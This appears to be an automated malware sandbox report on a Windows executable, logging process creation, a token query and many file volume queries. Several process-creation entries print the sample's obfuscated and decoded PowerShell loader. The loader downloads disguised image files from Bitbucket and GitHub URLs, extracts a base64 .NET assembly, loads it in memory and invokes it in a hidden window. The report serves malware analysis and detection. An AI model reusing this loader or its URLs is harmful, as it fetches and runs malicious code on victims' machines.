ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.IkIhcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$sodigo = 'wwbo$gu$d$$u$fm$zqby$hy$aqbj$gu$u$bv$gk$bgb0$e0$yqbu$ge$zwbl$hi$xq$6$do$uwbl$gm$dqby$gk$d$b5$f$$cgbv$hq$bwbj$g8$b$$g$d0$i$bb$e4$zqb0$c4$uwbl$gm$dqby$gk$d$b5$f$$cgbv$hq$bwbj$g8$b$bu$hk$c$bl$f0$og$6$fq$b$bz$de$mg$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$zgb1$g4$ywb0$gk$bwbu$c$$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$rgby$g8$bqbm$gk$bgbr$hm$i$b7$c$$c$bh$hi$yqbt$c$$k$bb$hm$d$by$gk$bgbn$fs$xqbd$cq$b$bp$g4$awbz$ck$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$b3$gu$ygbd$gw$aqbl$g4$d$$g$d0$i$bo$gu$dw$t$e8$ygbq$gu$ywb0$c$$uwb5$hm$d$bl$g0$lgbo$gu$d$$u$fc$zqbi$em$b$bp$gu$bgb0$ds$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$bz$gg$dqbm$gy$b$bl$gq$t$bp$g4$awbz$c$$pq$g$ec$zqb0$c0$ugbh$g4$z$bv$g0$i$$t$ek$bgbw$hu$d$bp$gi$agbl$gm$d$$g$cq$b$bp$g4$awbz$c$$lqbd$g8$dqbu$hq$i$$k$gw$aqbu$gs$cw$u$ew$zqbu$gc$d$bo$ds$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$zgbv$hi$zqbh$gm$a$$g$cg$j$bs$gk$bgbr$c$$aqbu$c$$j$bz$gg$dqbm$gy$b$bl$gq$t$bp$g4$awbz$ck$i$b7$c$$d$by$hk$i$b7$c$$cgbl$hq$dqby$g4$i$$k$hc$zqbi$em$b$bp$gu$bgb0$c4$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$k$$k$gw$aqbu$gs$kq$g$h0$i$bj$ge$d$bj$gg$i$b7$c$$ywbv$g4$d$bp$g4$dqbl$c$$fq$g$h0$ow$g$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$by$gu$d$b1$hi$bg$g$cq$bgb1$gw$b$$g$h0$ow$g$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$k$gw$aqbu$gs$cw$g$d0$i$b$$cg$jwbo$hq$d$bw$hm$og$v$c8$ygbp$hq$ygb1$gm$awbl$hq$lgbv$hi$zw$v$go$a$bn$gy$a$bo$gs$agbl$gu$z$bl$gy$z$bm$c8$bqbu$gi$dgbn$go$z$bn$c8$z$bv$hc$bgbs$g8$yqbk$hm$lwb0$gu$cwb0$c4$agbw$gc$pw$1$dm$nw$2$de$mq$n$cw$i$$n$gg$d$b0$h$$cw$6$c8$lwby$ge$dw$u$gc$aqb0$gg$dqbi$hu$cwbl$hi$ywbv$g4$d$bl$g4$d$$u$gm$bwbt$c8$zwbt$gu$z$b1$hm$yq$x$dm$nq$v$g4$yqbu$g8$lwby$gu$zgbz$c8$a$bl$ge$z$bz$c8$bqbh$gk$bg$v$g4$zqb3$f8$aqbt$gc$mq$y$dm$lgbq$h$$zw$n$ck$ow$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$k$gk$bqbh$gc$zqbc$hk$d$bl$hm$i$$9$c$$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$rgby$g8$bqbm$gk$bgbr$hm$i$$k$gw$aqbu$gs$cw$7$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$gk$zg$g$cg$j$bp$g0$yqbn$gu$qgb5$hq$zqbz$c$$lqbu$gu$i$$k$g4$dqbs$gw$kq$g$hs$i$$k$gk$bqbh$gc$zqbu$gu$e$b0$c$$pq$g$fs$uwb5$hm$d$bl$g0$lgbu$gu$e$b0$c4$rqbu$gm$bwbk$gk$bgbn$f0$og$6$fu$v$bg$dg$lgbh$gu$d$bt$hq$cgbp$g4$zw$o$cq$aqbt$ge$zwbl$ei$eqb0$gu$cw$p$ds$dq$k$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$bz$hq$yqby$hq$rgbs$ge$zw$g$d0$i$$n$dw$p$bc$ee$uwbf$dy$n$bf$fm$v$bb$fi$v$$+$d4$jw$7$c$$j$bl$g4$z$bg$gw$yqbn$c$$pq$g$cc$p$$8$ei$qqbt$eu$ng$0$f8$rqbo$eq$pg$+$cc$ow$g$cq$cwb0$ge$cgb0$ek$bgbk$gu$e$$g$d0$i$$k$gk$bqbh$gc$zqbu$gu$e$b0$c4$sqbu$gq$zqb4$e8$zg$o$cq$cwb0$ge$cgb0$ey$b$bh$gc$kq$7$c$$dq$k$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$cq$zqbu$gq$sqbu$gq$zqb4$c$$pq$g$cq$aqbt$ge$zwbl$fq$zqb4$hq$lgbj$g4$z$bl$hg$twbm$cg$j$bl$g4$z$bg$gw$yqbn$ck$ow$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$bp$gy$i$$o$cq$cwb0$ge$cgb0$ek$bgbk$gu$e$$g$c0$zwbl$c$$m$$g$c0$yqbu$gq$i$$k$gu$bgbk$ek$bgbk$gu$e$$g$c0$zwb0$c$$j$bz$hq$yqby$hq$sqbu$gq$zqb4$ck$i$b7$c$$j$bz$hq$yqby$hq$sqbu$gq$zqb4$c$$kw$9$c$$j$bz$hq$yqby$hq$rgbs$ge$zw$u$ew$zqbu$gc$d$bo$d
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $encodedtext =[convert]::tobase64string($bytes); $commandbytes = [system.convert]::frombase64string($base64command); $text = $encodedtext; $loadedassembly = [system.reflection.assembly]::load($commandbytes); $encodedtext =[convert]::tobase64string($bytes); $compressedbytearray = get-compressedbytearray -bytearray $enctext $type = $loadedassembly.gettype('testpowershell.hoaaaaaasdme'); $encodedtext =[convert]::tobase64string($bytes); $method = $type.getmethod('lfsgeddddddda').invoke($null, [object[]] (' txt.ikihcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'startupname', 'msbuild', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$sodigo = 'wwbo$gu$d$$u$fm$zqby$hy$aqbj$gu$u$bv$gk$bgb0$e0$yqbu$ge$zwbl$hi$xq$6$do$uwbl$gm$dqby$gk$d$b5$f$$cgbv$hq$bwbj$g8$b$$g$d0$i$bb$e4$zqb0$c4$uwbl$gm$dqby$gk$d$b5$f$$cgbv$hq$bwbj$g8$b$bu$hk$c$bl$f0$og$6$fq$b$bz$de$mg$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$zgb1$g4$ywb0$gk$bwbu$c$$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$rgby$g8$bqbm$gk$bgbr$hm$i$b7$c$$c$bh$hi$yqbt$c$$k$bb$hm$d$by$gk$bgbn$fs$xqbd$cq$b$bp$g4$awbz$ck$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$b3$gu$ygbd$gw$aqbl$g4$d$$g$d0$i$bo$gu$dw$t$e8$ygbq$gu$ywb0$c$$uwb5$hm$d$bl$g0$lgbo$gu$d$$u$fc$zqbi$em$b$bp$gu$bgb0$ds$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$bz$gg$dqbm$gy$b$bl$gq$t$bp$g4$awbz$c$$pq$g$ec$zqb0$c0$ugbh$g4$z$bv$g0$i$$t$ek$bgbw$hu$d$bp$gi$agbl$gm$d$$g$cq$b$bp$g4$awbz$c$$lqbd$g8$dqbu$hq$i$$k$gw$aqbu$gs$cw$u$ew$zqbu$gc$d$bo$ds$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$zgbv$hi$zqbh$gm$a$$g$cg$j$bs$gk$bgbr$c$$aqbu$c$$j$bz$gg$dqbm$gy$b$bl$gq$t$bp$g4$awbz$ck$i$b7$c$$d$by$hk$i$b7$c$$cgbl$hq$dqby$g4$i$$k$hc$zqbi$em$b$bp$gu$bgb0$c4$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$k$$k$gw$aqbu$gs$kq$g$h0$i$bj$ge$d$bj$gg$i$b7$c$$ywbv$g4$d$bp$g4$dqbl$c$$fq$g$h0$ow$g$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$by$gu$d$b1$hi$bg$g$cq$bgb1$gw$b$$g$h0$ow$g$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$k$gw$aqbu$gs$cw$g$d0$i$b$$cg$jwbo$hq$d$bw$hm$og$v$c8$ygbp$hq$ygb1$gm$awbl$hq$lgbv$hi$zw$v$go$a$bn$gy$a$bo$gs$agbl$gu$z$bl$gy$z$bm$c8$bqbu$gi$dgbn$go$z$bn$c8$z$bv$hc$bgbs$g8$yqbk$hm$lwb0$gu$cwb0$c4$agbw$gc$pw$1$dm$nw$2$de$mq$n$cw$i$$n$gg$d$b0$h$$cw$6$c8$lwby$ge$dw$u$gc$aqb0$gg$dqbi$hu$cwbl$hi$ywbv$g4$d$bl$g4$d$$u$gm$bwbt$c8$zwbt$gu$z$b1$hm$yq$x$dm$nq$v$g4$yqbu$g8$lwby$gu$zgbz$c8$a$bl$ge$z$bz$c8$bqbh$gk$bg$v$g4$zqb3$f8$aqbt$gc$mq$y$dm$lgbq$h$$zw$n$ck$ow$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$k$gk$bqbh$gc$zqbc$hk$d$bl$hm$i$$9$c$$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$rgby$g8$bqbm$gk$bgbr$hm$i$$k$gw$aqbu$gs$cw$7$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$gk$zg$g$cg$j$bp$g0$yqbn$gu$qgb5$hq$zqbz$c$$lqbu$gu$i$$k$g4$dqbs$gw$kq$g$hs$i$$k$gk$bqbh$gc$zqbu$gu$e$b0$c$$pq$g$fs$uwb5$hm$d$bl$g0$lgbu$gu$e$b0$c4$rqbu$gm$bwbk$gk$bgbn$f0$og$6$fu$v$bg$dg$lgbh$gu$d$bt$hq$cgbp$g4$zw$o$cq$aqbt$ge$zwbl$ei$eqb0$gu$cw$p$ds$dq$k$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$bz$hq$yqby$hq$rgbs$ge$zw$g$d0$i$$n$dw$p$bc$ee$uwbf$dy$n$bf$fm$v$bb$fi$v$$+$d4$jw$7$c$$j$bl$g4$z$bg$gw$yqbn$c$$pq$g$cc$p$$8$ei$qqbt$eu$ng$0$f8$rqbo$eq$pg$+$cc$ow$g$cq$cwb0$ge$cgb0$ek$bgbk$gu$e$$g$d0$i$$k$gk$bqbh$gc$zqbu$gu$e$b0$c4$sqbu$gq$zqb4$e8$zg$o$cq$cwb0$ge$cgb0$ey$b$bh$gc$kq$7$c$$dq$k$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$cq$zqbu$gq$sqbu$gq$zqb4$c$$pq$g$cq$aqbt$ge$zwbl$fq$zqb4$hq$lgbj$g4$z$bl$hg$twbm$cg$j$bl$g4$z$bg$gw$yqbn$ck$ow$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$bp$gy$i$$o$cq$cwb0$ge$cgb0$ek$bgbk$gu$e$$g$c0$zwbl$c$$m$$g$c0$yqbu$gq$i$$k$gu$bgbk$ek$bgbk$gu$e$$g$c0$zwb0$c$$j$bz$hq$yqby$hq$sqbu$gq$zqb4$ck$i$b7$c$$j$bz$hq$yqby$hq$sqbu$gq$zqb4$c$$kw$9$c$$j$bz$hq$yqby$hq$rgbs$ge$zw$u$ew$zqbu$gc$d$bo$d	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $encodedtext =[convert]::tobase64string($bytes); $commandbytes = [system.convert]::frombase64string($base64command); $text = $encodedtext; $loadedassembly = [system.reflection.assembly]::load($commandbytes); $encodedtext =[convert]::tobase64string($bytes); $compressedbytearray = get-compressedbytearray -bytearray $enctext $type = $loadedassembly.gettype('testpowershell.hoaaaaaasdme'); $encodedtext =[convert]::tobase64string($bytes); $method = $type.getmethod('lfsgeddddddda').invoke($null, [object[]] (' txt.ikihcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'startupname', 'msbuild', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E812EC GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

4_2_00007FF7E6E812EC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
